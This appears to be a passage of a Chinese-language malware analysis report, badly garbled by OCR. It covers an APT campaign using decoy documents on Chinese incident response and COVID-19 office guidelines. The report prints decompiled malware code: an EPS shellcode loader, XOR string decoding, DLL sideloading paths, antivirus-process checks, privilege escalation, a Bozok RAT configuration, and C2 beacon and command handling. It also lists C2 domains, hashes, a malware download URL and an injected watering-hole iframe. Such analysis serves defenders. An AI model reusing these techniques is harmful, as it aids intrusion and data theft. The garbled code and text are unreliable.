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who is responsible for munning, give full play to all forces together Prevention and disposal of
network security incidents.

Organizational Structure and Responsibilities
2.1 Leadership and Responsibilities

Under the leadership of the Central Network Security and Information Leading Group
(hereinafter referred to as the “Leading Group™), the Office of the Central Network Security
and Information Leading Group (hereinafter referred to as the “Central Network Office™)
coordinates the organization of national network security incident response, Establish and
improve the cross-sectoral linkage mechanism, the Ministry of Industry and Information
Technology, the Ministry of Public Security, the State Secrecy Bureau and other relevant
departments in accordance with the division of responsibilities responsible for the relevant
network security incident response.

3 Emergency Treatment

3.1 Event report

After the network securitv incident occurs, the incident unit should immediately start the
emergency plan, the implementation of disposal and timely submission of information. The
relevant regions and departments immediately organize the early disposal, control the
situation, eliminate hidden dangers, at the same time organization and judgment, pav
attention to save the evidence, do a good job of information communication. For the primary
judgment is particularlvy significant, major network security incidents, and immediately report
to the emergency office.

3.2 Emergency response

The network security incident emergency response is divided into four levels, corresponding
to particularly significant. significant. large and general network security events. Level I is
the highest response level.
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Document Code;34-01

Version: 01

Guidelines

Guidelines for Government Employees and Organizations

in the wake of COVID-19 epidemic

Objective|

To provide guidelines regarding the mitigation of spread of person-to-person transmission of
COVID19 in Government office settings

Rationale

The increasing number of COWVID-19 positive cases in the offices reduces the official efficiency
and puts a burden on the official conduct of business. In wake of this, it is prudent to develop
procedures in case of any detection of officers/officials with COVID-19 positive test and make
necessary arrangements for continuation of the official business. It is also prudent that the
administrivia measures are in place for periodic cleaning and where necessary, disinfection of
these structures

General Preventive Measures for Government Employeess

* Every government office must develop SOPs, based on these guidelines, related to the work
environment (Office/Site), share these with all its emplovees and ensure mechanisms for

il tatinm
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/Times-Roman findfont globaldict begin /10 L0 def 10 scalefont setfant newpath /11 def : 11 moveto /12 11 def /13 { /14 exch def /12 12 10 sub def .0 12 moweto 14 show ) bind def /16 { /17 exch def
/18 axch def /19 18 length 17 length add string dsf 15 O 15 putinterval 15 15 length 17 pubinterval 19 } bind daf /110 | /111 sxch dsf 111 10 1t { 5 111 add }{ 111 10 sub 5 add ) ifalss | bind der
f112 { /113 exch def /13 © string def /113 113 and def 1% 7 115 1% and 110 put 1% ¢ 115 -4 bitshift 1% and put /116 113 -2 bitshift and def 1% * 116 1% and 110 put 1% % 116 -+ bitshift

and 110 put /117 113 bitshift and def 16 3 117 15 and 110 put 16 2 117 - bitshift 1° and 110 put /118 113 bitshift and def 15 1 118 15 and 110 pat 10 0 118 -4 bitshift 15 and 110 pat 18
} bind def /119 { dop bitshift /120 exch def and /131 exch def dup bitshift /123 exch def and dup /123 exch def 121 add and 122 120 add 123 121 add bitshift add

bitshift or } bind def /124 { dup bitshift /120 exch def and /171 exch def dap bitshift /1¥2 exch def and dup /125 exch def 121 sub and 122 120 sub 123 121 sab 0 1t {1}{0}
1ifelse sub [¢ bitshift or | bind def /125 { /130 exch def /131 exch def 130 131 get } bind def /137 [ /130 exch def /131 exch def 130 131 get 130 131 | 115 get © bitshift or } bind def /135 [ /130 exch
def /131 exch def 151 bitshift 0 eq { 130 131 get 130 131 | add get © bitshift or 130 131 : add get L¢ bitshift or 130 131 5 add get :¢ bitshift or }{ 130 131 get 130 131 . 115 get ! bitshift or 130
131 2 119 get 17 bitshift or 130 131 3 119 get 27 Bitshift or ) ifelse | bind def /138 { /130 exch def /131 exch def 130 131 4 115 get 130 131 © 115 get © bitshift or 130 331 © 11§ get 17 bitshift or
130 131 7 118 get 24 bitshift or 130 131 get 130 131 | 116 get © bitshift or 130 131 2 118 get 1¢ bitshift or 130 131 3 118 get 24 bitshift or } bind def

f141

n

/130 exch def
/113 exch def
/131 exch daf

131 bitsnift o eq|

{ 130 131 113 and put 130 131 | add 113 ¢ bitshift and put 130 131 2 add 113 bi tehift and pat 130 131 5 add 113 bitshife and put |

{ 130 131 113 and put 130 131 119 113 bitshift and put 130 131 11% 113 bitshift and put 130 131 119 113 bitshift and put | ifelse
-} bind def
J145 [ /130 exch def /147 exch def /149 exch def /131 exch def 131 Bitshift o eq [ 130 131 147 and put 130 131 | add 147 ¢ bitshift 235 and put 130 131 7 add 147 Ditshift and pat 130
131 3 add 187 bitshift and put 130 131 4 add 148 and put 130 131 © add 148 -2 bitshift and put 130 131 ¢ add 138 bitshift and pot 130 131 7 add 148 bitshift and put b
130 231 147 and put 130 131 1 115 147 -7 bitshift and put 139 131 2 11§ 147 pitshire and put 130 131 3 115 147 Bitshifs and put 130 131 4 115 148 and put 130 131 5 119 148

bitsnift and put 130 131 ¢ 118 148 bitshife and put 130 131 7 118 148 bitshift and put } ifelse } bind def /150 { { 152 length string dop O 152 putinterval | repeat } bind def

f1 aef ROUCTimes { Qop 1 ) PUE /i L | Add def ) repeat | bind ael
patinterval schata dup

00 FOOO00000> putinterval def
. 54 pu 19 a 6 [ 162 restor 16 % ) def /157 72 array 4ef /135 1 def /139 ( 156 cvx ex avx def /160 ( 153 cvx ex ovx def /161
array def 1£1 © 188 put /162 save def /163 7. string def string pop } repest 163 161 forall /164 187 ¢ get def /165 187 57 get def /166 157 L0 get def /167 187 05 gat def /160 144 18
Ditehift 119 16 BItSNLIT 119 167 2% DITSNIET 119 Gef /169 157 €0 g6t der /170 157 61 get @er /171 157 £2 get der /172 157 ©3 get Gef /173 169 170 © Bitshift 11§ 171 1¢ DItshift 119 172 24 DATANALT
118 def /174 187 i3 get def 175 157 o5 get def /176 187 c¢ get def /177 174 175 ¢ bitshift 118 176 L bitshift 118 def /178 157 ¢ get def /179 157 © get def /180 187 10 get def /181 157 11 get def /182
178 179 3 bitshift 119 180 15 bitshift 119 181 2¢ bitshift 115 def /163 157 12 get def /184 15 get def /185 157 14 get def /166 157 15 get def /187 183 184 © bitshift 115 185 ¢ bitshift 119 186
bitsnift 119 der 152 length . aca 177 eq { /188 o der { /190 exch def 150 type /stringtype e | 188 © eq { O 173 168 O 150 135 119 190 145 50 173 168 50 190 135 119 124 180 145 173 168
180 135 116 160 145 173 168 150 135 118 180 145 173 168 150 135 119 180 145 173 168 160 135 116 160 145 173 168 190 135 115 190 145 173 168 180 135 118 180
145 173 1eg 150 135 115 150 145 173 168 180 135 115 150 145 173 150 141 173 Lé3 135 118 150 145 173 168 180 135 115 190 145 173 168 150 135 115 150 145
173 168 150 135 119 180 145 173 168 180 135 116 150 145 175 168 150 135 115 180 145 173 168 150 135 119 190 145 240 173 148 180 135 116 150 145 175 168 120
135 11% 150 145 /157 150 def /188 © def }{ 150 © 152 putinterval ] ifelse } 1f | repeat | 173 168 187 182 ][ } 1felse | bind def 151 /155 exch def /156 exch def /157 exch def /138 exch def
f199 exch def f1100 { i1 1102 length string dup U 1102 pu:xnterul } repeat | bind def /1101 { /1102 exch def /L103 0 daf /153 | 57 185 154 put /155 155 def ) def /156 { l62
. 1100 161 © 160 puc } def /157 63 array def /155 1 def /139 [ 1 s ok def % exec | vk def /161 1 array def { /155 1 def 161 0 159 put /162 save def /163 35 string def
163 161 forall /1116 187 52 get def /1111 187 10 get def 71118 157 1 gt def /1115 187 15 get def /1120 1116 1117 - bitshift 116 1118 i¢ bitshift 118 1116 -+ bitshift 118 def /178 187 10 get def £175
157 37 get Aer /176 157 37 get ger /177 174 175 ¢ DITEMAIT 119 176 L6 DITEhICT 119 der /1125 157 4 gt @er /1126 157 5 get aer /1127 157 © get der /1126 157 7 gt Ger /1129 1125 1126 © Bitshift 118 1137
bitshift 118 1128 2 bitshift 118 def 177 1102 length . add eq { /1103 . def /. def . { /190 exch def 150 type /stringtype eq { 188 0 eq { O 1120 0 180 135 115 150 141 45 1120 44 150 138 118
124 160 141 7¢ 1120 76 150 135 118 150 141 50 1120 50 150 135 119 190 141 150 135 118 180 141 1120 180 135 119 180 141 1120 150 135 118 160 141 1120 180 135 118
180 141 1120 150 135 113 150 14 333 1130 232 150 138 113 130 141 223 1320 150 135 119 180 141 /152 150 def /1B8 ! def }{

/153

152 putinterval | ifelse } if } repeat exit | if } Tepeat 1103

52 AR B R epsimiRFI A SN | epsBE L/ pelld Kshellcode , B2 2 BRI
A, peXENT FEINZRIZ4E | fEshellcodeh M TR , MR EIEINT

vold _ cdecl _ spoils<ecx> Fun_xordecode( DWORD *al, signed int a2)

1

_DWORD *v2; /[ eax
signed int v3; // ecx

-

(=] (S

== OL

-

if ( *u2
2 M= @xlees32819u;

3ox= 400

Shellcode® 5eA0 il B AR , ERRABRERE —MERAMBIITIR AR , F&ARNAZAT.

Mame Address Ordinal

] Exec 10001840 1

FE 100011F0 z

%] D11EntryFoint 10001800 [main entry]
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3 = sub_le@a255e;
f { (unsigned int)dword 188886888 < @xC || !GetModuleHandleA("win32u.d11™) )
33 = sub 18883E20;
WowsdProcess = 8;
if ( !IsWows4Process((HANDLE)@xFFFFFFFF, &Wowe4Process) )
return 4;
if { WowB4Process )
vE = sub_1BER4FFE;
if ( Wows4Process )
+dword_18883004 ;
v1l3 = (HANDLE *)VirtualAlloc(®, @x4866u, 6x3000u, 4u);
vld = v13;
1f { Ivl3 )
return -1;
21 = 83
sub 18681138(v13, &v21);
if ( va )
va();

'1j

I ca

¥

1)

F
(53]
[~

ResumeThread(v14[v1E]};
CloseHandle(v14[v16++]);
b
while { vis k va21 );

if ( dword 18@@84E4 &% 15 == 256 )
sub_18881888("RCE works, but LPE is patched!™, "Try non-patched Windows");
if ( v2e & vi5 != 1 88 dword 18@@88B8 < dwSize )

1
w17 = {const CHAR *)}sub_ 1@@@1@8@{"re5 =", vl5};

cub 1@9@1@9@{( PCSTR)1pAddress, v17);
b

return v15;

2 AR B % %programdata%Microsoft\ \DeviceSyen\ B 3% .
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vE = "orp®’; /{ ¥programdata¥®Microsoft\\DeviceSycn\MsBuild.exe
w3 = 'marg';

1 "atad’;

"IMWE

"sorc';

"Wifo';

"iveD" 3

u "ysec';

wlEe = "M\\cn';

w17 = "iuBs';

‘e.dl';

w19 = "ex';

if ( 'sub BE7(2l + 98736, &vi, e=dif, a2, (al + 98736), 167936, &3, =4) )
return @;

vs = "orp®’; /{ ¥programdata¥®Microsoft\\DeviceSycniwmtools.dll

vE = 'marg’;

w7 = 'atad';

TIMVAE'

vl = "sorc';

vlg = "\\tfo";

w1l "iveD";

'ySec';

wl3 = "vi\en';

vld = "ootm';

'd.sl';

w16 '11°;

if ( 'sub BE7(2l + 258672, &5, edif, a2, (=l + 258672), 94288, &5, z4) )
return @;

vs = "orp¥’; / ¥programdata¥@Microsoft\\DeviceSycn\WMwareCplLauacher.exe

VB ‘marg’;

w7 = "atad’;

v = "IM\AR';

vl = "sarc';

"\\fo';

"iveD" 3

= 'ySec’;

"Wihen';

"rawM’;

,.
X
[ | I |

B
7(al + @x1ee0@, &5, =die, =2, (a1 + @x1e000), 25200, &5, =4);

return @;
return result;

SENEALA  BIRFIA AR —3 , FIABEVMwareCplLauacher.exefill#vmtools.dll.[F#¢
Aivmtools3E Flcom XS R A1 1T AHES WM SRILE T THFFA 4.
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vl = _wgetenv(L"ProgramData™);
sub_leea2ee@(vl, &v75, wcslen(vl));

vER = @;

sub_lesa2eed(L"\V\Microsoft\\DeviceSync\\M5Build.exe™, &v75, 8x21lu);
ppv = 83

if ( CoCreateInstance(&rclsid, @, lu, &riid, &ppv) >= 8 )

1
VariantInit(&pvarg);
v2 = *&pvarg.vt;
v74.1lval = pvarg.cyVal.Hi;
v3 = pvarg.lval;
VariantInit(&w7@);

i L
Ay

VariantInit(&w71);

wEd = 1

VariantInit(&73);
LOBYTE(v32) = 43
va = (*(*ppv + 48))(

PPV 5

#8735 .vt,
v73.decval.Hi32,
v73.1val,
w73.cyVal.Hi,
*§usd.vt,
viEd,decval.Hi32,
vEd.1val,
vBEd. cyVal .Hi,
*§uBE5.vt,
vae.decval.Hi32,
vE6.1val,
G6.cyVal.Hi,
v2,

HID"I.-DRD{'. }_"jlJ
w74.1val);
VariantClear(&v73);

RADITHET R EWEALAE AkFakeJLIFI] , AXEEMT.

MDj5 6423fd4c8be66e6adf95f62821bgbg3c
4wi¥E) 2020:05:20 08:26:11+02:00

Cz2 altered.twilightparadox.com

EIINEHITE , BREIMRERFE , RERB—IXHNET
for { 1 = @8; 1 < lstrlenA(&5tring); ++1 )
--*(&5tring + 1i);
vl = @etModuleHandleA(&String);
CreateMutex = GetProcAddress(vl, aCreatemutexa);
strepy (&v232, “asssszzjddddddjjjzzxccssda™);
dword_423B14 = CreateMutex;
(CreateMutex) (@, 1, &v232);
if ( GetLastError() == 183 )
ExitProcess(@);
memset (&v217, @, Bx63u);
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ZIRBEREETENRNE | BIERSRAFEE.

memset({&versionInformation, @, @x11Cu);
VersionInformation.dwOSVersionInfoSize = 8x11C;
GetVersionExW(&vVersionInformaticon);

V233 = @;

memset({&v234, @, @xC7u);

V237 = B

memset({&v233, B, Bx63u);

VTE = 8;

V79 = 8;

po

J
J moun e
n
&
k1
(s3]
[X=]

-

o=

= Buhd;
17 = Bx3D
LDBYTE 7E) = @;
vl = E;
do

13

{

* t:&.
¥
while ( w1 };

vil = sub_4@95D2();

J

*(&v73 + vB);
33 + voH+) = wle;

-
“

712 = strlen(vil) + 1;
13 = Rv232;
do
Vi = (I3[
while { w14 };
gmemcpy (w13, w1l, v12});
wi3 = BW23;
74 = BuTS; |
75 = BXBE;
/76 = Bx3D;
Vw77 = B
vls = &v73 4+ strlen(&v73) + 1 - &Ev73;
vlE = &v232;
do

V17 = (vis++)[1];
while { v17 };
gmemcpy(v1ls, &v73, v1s);
sub 499992(),

._l\_l =

v19 = strlen(vl1s) + 1;
w28 = &v232;

do

ZIEMBREFRBEARESR | FRIEcIR BIBHERIT R EIKTIRE.
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strcat(v?, "&corc=e3ag");

strepy (8v1es, “//e3e7e7lakb28b5e6cc492e636722T73/ /4sVIKADVU3D/ /BDYotBNxyG. php™ ) ;

/A1 = *(v39 + 1);

v ) A
WL

sub_485157(&v183, v7, vil);

v1ls = @;
memset (&v11G6, @, Bx3E7u);
do
1

memset{&v128, B, Bx3EBuU);
w1l = AddSIDToBoundaryDescripter();

if  v11 + strlen(&v112) > Bx3E7 )
break;
strncat(&v112, &v119, v1l);
¥
while { v11 > @ );

ActivatefActCtx(vie, vig);

LOBYTE(vi1i[@]) = @;

memset(v111l + 1, @, @x2BBu);

if ({ sub_4B4FE2("Warning”, &v113) > @ )
return MessageBoxA(®, "in warning”, @, @);

if { sub_4@4FE2("Error”, &v113) > @ )
return MessageBoxA(®, &unk_41D13C, @, @);

if ( sub_4@4FE2(Runk_41DB18, &/113) > @ )

1
result = sub_484FE2(&unk_41D895, &v113);
if { strlen(&v113) > result + 8x2BB )

return result;

if ( result > @ )

1

vl3 = &v1l4[result];

vld = (v111 - v13);

do

1
w15 = *y13;
rL4[vi3] = *vi3;
+H13;

¥
while { w15 };

et

}..

1 strlen{v11l);
v3ig = 8;
if ( LOBYTE(vili[e]) )

=]

Theean T -

Token IhHEE

23

13

R

L EREICFAI

BRI

AU SRR RE SR RIS RS 3R

( (".txt",".doc",".xls",".xlsx",".docx"," xlIs

nn
P

ppt"’".pptxn’".pdf" ) )
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first() As Variant
gfoRWLbD3h = CreateObject( 1").Environment("P

hze9LPnPHS

hzeSLPnPHE = 0j3so &
doc_6886 & docl

doc_6886 & doc2

QC9tkUhef8 = dd4T5CSvgp.createTextFile(hze9LPnPHS,

QCotkUhef8.Write DpwHS6HIF7 (doc_6

QCcotkUhef8.Close

BHRREBEENTABEHEBF R TRBEN IS , NTTREREE,
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Document Code;34-01

Version: 01
Guidelines
Guidelines for Government Employees and Organizations
in the wake of COVID-19 epidemic
Objective

To provide guidelines regarding the mitigation of spread of person}to-person transmission of
COVID19 in Government office settings

Rationale

The increasing number of COVID-19 positive cases in the offices reduces the official efficiency
and puts a burden on the official conduct of business. In wake of this, it is prudent to develop
procedures in case of any detection of officers/officials with COVID-19 positive test and make
necessary arrangements for continuation of the official business. It is also prudent that the
administrivia measures are in place for periodic cleaning and where necessary, disinfection of
these structures

General Preventive Measures for Government Employeess

“ o ow o4

= Every government office must develop SOPs, based on these guidelines, related to the work

envirnnment (Office/Site share BSE T all_its _emnlovess and ensnre mechar
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VPETS gfoRWLbD3h( " APPDATA™)
VPETS VvPaTs & "\Microsoft™

yjTir = VPOTS & "\MicroScMgm

If Not dd4T5CSvgp.FileExists(yjTir} Then

KrYNV KdzcQ(FyfLb(dSLAG)), yjTir

End If

X4  MicroScMgmt.exe
MD5 809FF867D2CFE803EF4AE4102283B45C

K2152  Accelerate Technologies Ltd

AL = R W G2
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B | MicroScMgmt Properties |

Digital Signature Details

General | Advanced |

Security I Details I Previous Versions

General | Compatibility | Digital Signatures
Signature list

Mame of signer: E-mail address: Timestamp

Accelerate Tech... Mot available Mot available

—_. Digital Signature Information
The certificate in the signature cannot be verified.

Signer information

Mame: Accelerate Technologies Ltd
E-mail: INot available
Signing time: |Not available
View Certificate
Countersignatures
MName of signer: E-mail address: Timestamp
Details

o ]

FRHEZXAEMAMELE , pITEFEF , KB AN FEXX LT B THE R

fE.

_BYTE

{
size t vl; // ebx
_BYTE *v2; // edi

*__cdecl Decode_4@813E8(char *al)

vl B
v2 = calloc(lu, @xlBu);
while ( vl < strlen(al) )

= al[vli] ~ @xA;

v2[vl] = 8;
return v2;

}

BEARPBGERSG , BEETE N LRI

[BYIE ~_ cdecl sub_awlasv(char ~al)
size_t vl; // ebx
_BYTE *v2; [/ edi

1 a;
v2 = calloc(lu, @x1Bu);
while ( vl < strlen(al) )
1

va[vi] = al[vi] ~ 3;

Huly

v2[vl] = @;
return vi;

, N TR EEH TR B EFERK.
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if ( v5 != @xFFFFFFFF )
pe.dwSize = 8x128;
& = Process32First(vs, &pe);

if { vd )

while ( 1 )

if { !lstrcmpA(pe.szExeFile, "ekrn.exe™) || !lstrcmpA(pe.szExeFile, "egui.exe") )

CloseHandle(v7);
return 1;

if ( strstr(pe.szExeFile, "avg") || strstr(pe.szExeFile, "AVGUI") )

CloseHandle(v7);
return 2;

if { strstr(pe.szExeFile, "bdagent™)
|| strstr{pe.szExeFile, “gziface")

|| strstr(pe.szExeFile, "bitdefender_isecurity.exe") )

CloseHandle(v7);
return 3;

if ( strstr(pe.szExeFile, "uiSeAgnt.exe"} )

CloseHandle(v7);
return 4;

}
1

strstr(pe.szExeFile, "norton”)
strstr(pe.szExeFile, "nis.exe™)
strstr(pe.szExeFile, "ns.exe") )

{
CloseHandle(v7);
return 5;
if ( strstr(pe.szExeFile, "AvkTray") || strstr(pe.szExeFile,

CloseHandle(v7);
return &;

}

FIRTRIARERHEFEXT Y R ERFIFRANT .
prig
ekrn.exe , egui.exe

Avg, AVGUI

Bdagent, gziface, bitdefender_isecurity.exe

uiSeAgnt.exe

ccSvcHst.exe, Norton, nis.exe, ns.exe

AvkTray, AVKTray

apvui.exe, avp

f ( strstr(pe.szExeFile, "ccSwvcHst.exe™)
|
|
|

"AVKTray™) )

Xt B R AR

ESET NOD32

Avg

Bitdefender

JEELTEEE

il

GData

FEHE
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AvastUI Avast

onlinent.exe Quick Heal AntiVirus
PSUAMain.exe Panda Security
escanmon.exe , escanpro.exe eScanAV

MsMpEng.exe, MpCmdRun.exe, NisSrv.exe Windows Defender

zatray.exe, AkSA.exe Check Point ZoneAlarm
fshoster3gz2.exe F-Secure
K7SysMon.exe, k7tsecurity.exe K7TotalSecurity
McUICnt.exe, ModuleCoreService.exe McAfee

ARFERK , MR T B SR,
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*LoockupPrivilegeValueA 411878 = GetProcAddress(vs, & )i/ LoockupPrivilegeValued
LockupPrivilegeValues 411078(8, &v22, Bv1S);

= 1;

= 2;

¥
memset (& , B, BxEdu);

[]
[ S < T
W om om om  owhaE
-

n
R = = N (= T o Pl
-

|
Do M b e S
-

= £ )

= @x73;
*AdjustTokenPrivileges = GetProcAddress(vs, & Vi// AdjustTokenPrivileges
return (AdjustTokenPrivileges)( s B, BV1E);

ZIBEREFRRE—A A RITIA

00Z2ZFDAC
7 00 o0 onloa oo D

from ntdll. 77

1FC

Z A — IR R IR |, BRI PITIHEANT.
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+ Registers (FPU)

Z JaiBidlalen.wikipedia.orgh® 2 PL&ZEIB M1 T — LERE R,

Inté'ne&[heck&énnectian("http
= F(vd + Bx34) + *(v4 + Bx
htt

(vze, & ;
dword_41185C = CheckAV _481948();
if ( dword_41185C == 1 )

{

= Decode_4813E@("acxdofI8Enff");
sub_4827E6( H

= Decode 4B13E8("kn|kzc985nff");
sub_4827E6( H

= Decode_4@13E@("yboffagginff");
sub_4827E6( H

= Decode_4@813E@(&byte 48035D);
sub_4827E6( H

= Decode_4@13E@("mnc93%nff™);
sub_4827E6( H

= Decode_4@13E@(aYol);
sub_4827E8( 1i

= Decode_4@13E@(atfok);
sub_4827E6( H

= Decode_4813E@(aGli);
sub_4827E6( H

= Decode_4813E@( "gy|ix;;:3nff");
sub_4827E6( 1i

= Decode_4@13e@("ybfikzcEnff");
sub_4827E6( H

InternetCheckConnectionA("https://facebook.com™, 1u, @);
InternetCheckConnectionA("https://google.com™, 1lu, @);

( B // ResumeThread
InternetCheckConnectionA("https://en.wikipedia.org/wiki/Main Page”, 1lu, @);

ZIRHERNE BFAERK , AAFE , WEESEN

3IC:\ProgramData\ProgramDataUpdate\ MSBuld.exe, 3 7£ /5515 B F A7 MSBuld.InkF 5

ZMSBuld.exe AT SRILE [F3).
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dword_41185C =

CheckaV _481948();
if { (dword_41185C - 2) <= @xE )

1
esult = sub_4833Ce(&Filenams=, @, @, 8, &Stringl);
h
else
1
sub_483638(); [ ENBS
GetEnvirenmentVariableA("ProgrambData”, &Buffer, Bx3EBu);
lstrcatA(&Buffer, "\\ProgramDataUpdate");
= sub_481438(" _NPAvog-T{T"); £ msbuld. Ink
IstrcatA(&Buffer, vE);
~esult = sub_4833C@(&Euffer, @, @, @, &5tringl);
h
h
return result;

X2 RFEFEANSRIL

MDs5

ADLLEENZ Bozok RAT,MFMIT/E , BENKIRTFRIECEREE  BELFE

AR

dword_4esece = L"1.4.1";
if ( 1pst

return sub_481DAB{lpStrin
byte 488843
byte 488840
byte 488844
byte 4@880AB
byte 4888AC
byte 4888AD
CZhost_4B7@84

= sub_4821F@(Name, &vi);

- o

dword_4836E8
dword_adgens
dword_483888
dword_48888C
dword_4838C4

dword_4888C8 = L"plug.dat”™;

dword_4888CC

return

@;
3

@

1;
@;
@;
@

3

L™
L™
L™

o

"localhost™;
= L"TEST_ID";
= L"prjBozok.exe";

= Bx5EB;

v,

1);

Microsoft Server";
MUTX_BOZOK";
mypass";

03F4CEA14CB8114DF74E0CE2E5AF6D7C

, c2 fREE M

/f E M R N A D0 & Al T A 2 Y

Dff=et

1

2

3

4

5

3

7

g

£

4 B C D E F

Az=cil

lgoooaan
lgoooalin
lgoooozo
looooozn
lgoooodn
lgoooasn
looooaen
lgogoazo
lgoooosn
lgoooasn
10000040

]
]
]
oo
]
]
]
]
oo
]
0o

65
72
56
73
70
64
73
7C
a0
a7
24

]
]
]
oo
]
]
]
]
oo
]
0o

73
7C
4C
65
65
61l
73
30
7C
2E
7

]
]
]
oo
]
]
]
]
oo
]
0o

74
a4
a7
72
7
74
7
7C
3l
a7
an

]
]
]
oo
]
]
]
]
oo
]
0o

53
4E
72
76
70C
7C
a0
a0
a8
ag
7C

an
an
an
an
an
an
an
an
an
an
an

65
43
66
65
65
6D
70C
7C
35
2E
0o

]
]
]
oo
]
]
]
]
oo
]
|

72
77
43
72
78
79
a0
a4
ZE
3l

]
]
]
oo
]
]
]
]
oo
0o

76
69
6C
Z2E
74
70
7C
an
3l
33

]
]
]
oo
]
]
]
]
oo
0o

m—>omA

% IO— LMW SH

—o@l ¥ mmBH—
Ol —— it — H ] o

—wmooo——4g B =)

A——2 0 M0+l
- oo M B TOE

W o—T o

=R
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ﬁ'JLEJ%E {%TIE/\;E_/\*@J X

WORD sub_483DDe( )
.
L

DWORD result; // eax

CreateMutex_481124(@, @, *off_se7eos[e]);
result = GetLastError();
if { result == BxB7 )
ExitProcess_B(@);
return result;

'
ZfaEiE#kCa,
v2 = hostshort;
w3 = name;
vd = socket(2, 1, @);
if ( v4 != @xFFFFFFFF )
1

namea.sa_family = 2;

*namea.sa_data = htons({v2);
*&namea.sa_data[2] = inet_addr(vi);

if { *&namea.sa_data[2] == @xFFFFFFFF )

1
vE = gethustbyname{ E3H
if (tve)
return BxFFFFFFFF;
*&namea.sa_data[2] = **vE->h_addr_list;
h
if { connect{v4, Bnamea, B8x1B) )
= @xFFFFFFFF;

h

return wv4;

B RINER N EETTEAMREERERIC2iRF25.

sub 482658(&5tring, @x1e4); // GetComputerNamel
sub_482688(&EUTTer, @x184); // GetUserNamel
sub_482678(&LC0ata, @x184); // GetLocaleInfol

sub_402608(&/19, @xled);

vd = lstrlenW(&sString);

vS = lstrlenW(&Buffer) + wvi;

vE = lstrlenW(&LCData) + vS + 5;
w7 = lstrlenW(*®off_487874) + vi;
vE = lstrlenW(*®off_4878B4) + v7;
vl = 2 * (1strlenW(&v19) + vB);

sub 48143C(&V1S, va);
if ( vis )
1
sub_4814A4(v15, vI);
V18 = sub_4B2548();
v1l = sub_4@2568(*off 487884, 2, v3, *off 487094, v18);
wsprintfu(vls, L"%s|¥s|%s|¥s|%d|¥s|¥d|¥d|¥s|¥d|¥s", &String, &Buffer, *off_ae7874, &.CData,
w12 = lstrlenW(v1s);
vl = sub 4B2E28(v14, 8, v1S, 2 * w12 + 1); // send
¥

return vlj;

wvll});
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Z B NIEFR RS A8k B ST

sesult = sub_48143C(&lpAddress, Bx1e88u);
if { lpAddress )

) CreateThread(®@, @, sub_4@826B8, 8, @, AThreadId);

while ( 1 )
1
/3 = RECV_482C6@(v1, &vG, 4);
if ( w3 )
break;
if ( v3 == @xFFFFFFFF )
break;
if { ve > ex2000 )
break;
/4 = RECV_4@2C6@(v1, &v7, 1);
if ( lwa )
break;
if ( v4 == @xFFFFFFFF )
break;

sub_4Blasa(lpiddress, Bx18e8);

/5 = RECV_482C6@(v1, lpAddress, v6 - 1);

if ( 'vS || vS == @xFFFFFFFF ) |
break;

CommandandExecute_4883C@(v1, lpiAddress, ve - 1, v7);

~esult = sub_481384(1lpaddress);

N TELTNRERI T3

TS (6utH]) TheE

3 PRER AL 27

4 HESC AR

9 AR AT O T B S

A BATHERE SO

D Mg e S

10 {sE FASHFileOperation WSS IR
16 HEREE

19 RS

21 HEGHFES%
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25 LERTERE VTR
5C fEEADLL il A A REICR | VNCIZFE R EEFRE

7C TEPIT

REAK B
X#4%  hmfs.exe
MDj5 2e6foc15b6ed10f5208627abeb7b568¢
BEASKR  http://hmfs.com.pk/hmfs.exe
Yw¥EfE) 2019:07:19 12:02:12+02:00

%2 Accelerate Technologies Limited

TFRIFLAMEAAATA KN, EEEFESA G W _EFEEERREE R
A (http://hmfs.com.pk/hmfs.exe),

PAZLLY= DRI

Stemap | Feschack | Ussful Links | FAQ) | last updated 080020 |

HABIBMETRO Habib Metropolitan Financial Services Ltd -
5 of Habib Metro Bank Limited. +42 (021) 3536466568

A —— Subsadiary
Financial Services (T RE Certificate Holder Pakistan Stack Exchange) woohomm gk L5 Jrv— Opening Form

Investor Information Investor Portal Guide Miscellaneous Contact Us

6 ~072 MLCFI8.4 ~025 LOTCHEM 11.21 ~ 041 DGKC9531 ~ 227 HASCOL 1438 ~0.06 BOPBY8 - 024 PIBTLOF ~-0.01 HBL
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YL B TR #IE N 7 —Niframe, F5 6 B B 20 2718 42 dailypakistan[.]info , {B B 82 JoiZHkEL

¥R | BN ZXiframe& FIKTF FIPEEE

ra

1

gL N

O~

3
%

5
6

s L

-2 C @ F=£| view-source:hmfs.com.pk

{iframe sro="httne. //IETRRE ISR Tt width="0" height="0" frameborder="0"></iframe>
<html>
<head>
{l== {title>HMFS5 | Habib Metropolitan Financial Services</titlad —=>
<{meta charset="utf-g8">
<{meta name="viewport” content="width=device-width, initial-scale=1">

1| <title>HNFS 1 Habib Metro Financials Services </title’

{meta property="og url’ content="http-//hnfs. con.pks/™ />
<meta property='fb: admins’ content="123" />

{meta property='fb:admins’' content='142" />

<meta name= twitter: card’ content="summery />

13| {meta name=’ twitter:url’ content=”http://hnfs. com.pk/® />

{meta name='twitter:site’ content="@ />

<{meta content="Interactive Media Pakistan - imedia.com.pk” name="author” />

<link rel="icon” href="http://hmfs, com. pk/favicon. ico” type="image/x-icon”/>

{link rel="shortcut icon” href="http://hmfs. com. pk/favicon. ico” type="image/x—icon”/>

{!—Bootstrap css file—>

{link rel="stylesheet” type="text/css” href="htip: //hnfs. com. —

<{link rel="stylesheet” type="text/css” href="http //hnfs. com. pk/css/bootstrap. min. cas”>
<link rel="stylesheet” type="text/css” href="http.//hnfs. com pk/css/animate, css™>
<link rel="stylesheet” type="text/css” href="http://hnfs. com pk/css/hover, ces”>
{link rel="stylesheet” type="text/css” href="http://hnfs. com. pk/css/mmenu. cs=">
<link rel="stylesheet” type="text/css” href="http://hnfs. com, ice=

{link rel="stylesheet” type="text/css” href="http //hnfs. com. pk/ces/owl. theme. ces”>
{link rel="stylesheet” type="text/css” href="http://bnfs. com pk/cssfowl. carousel. cas™>
(link rel="stylesheet” type="text/css” href="httn. //hnfs. com. = 1
<link rel="stylesheet” type="text/css” href="http //hnfs. com. pk/css/jquery-ui.css">
{link rel="stylesheet” type="text/css” href="http //hnfs. com pk/css/stvle. cas™>
(link rel=“styleshest” type="text/css” href="http://hnfs. com pk/ces/imagegal. ces”>

">

{link rel="stylesheet” type="text/cas” href="http://bnfs. com. pk/cssfjquery. fancybox. css”>

<{1— DESETQF —>

AR BHAFANTAADLERES,

<link href="http: //hefs com. plt/ces/style-desktop.css” rel="stylesheet” type="text/css” media="only screen and (min-width 978px) and (max-width: 1300px)“>

{1— TABLET ——>

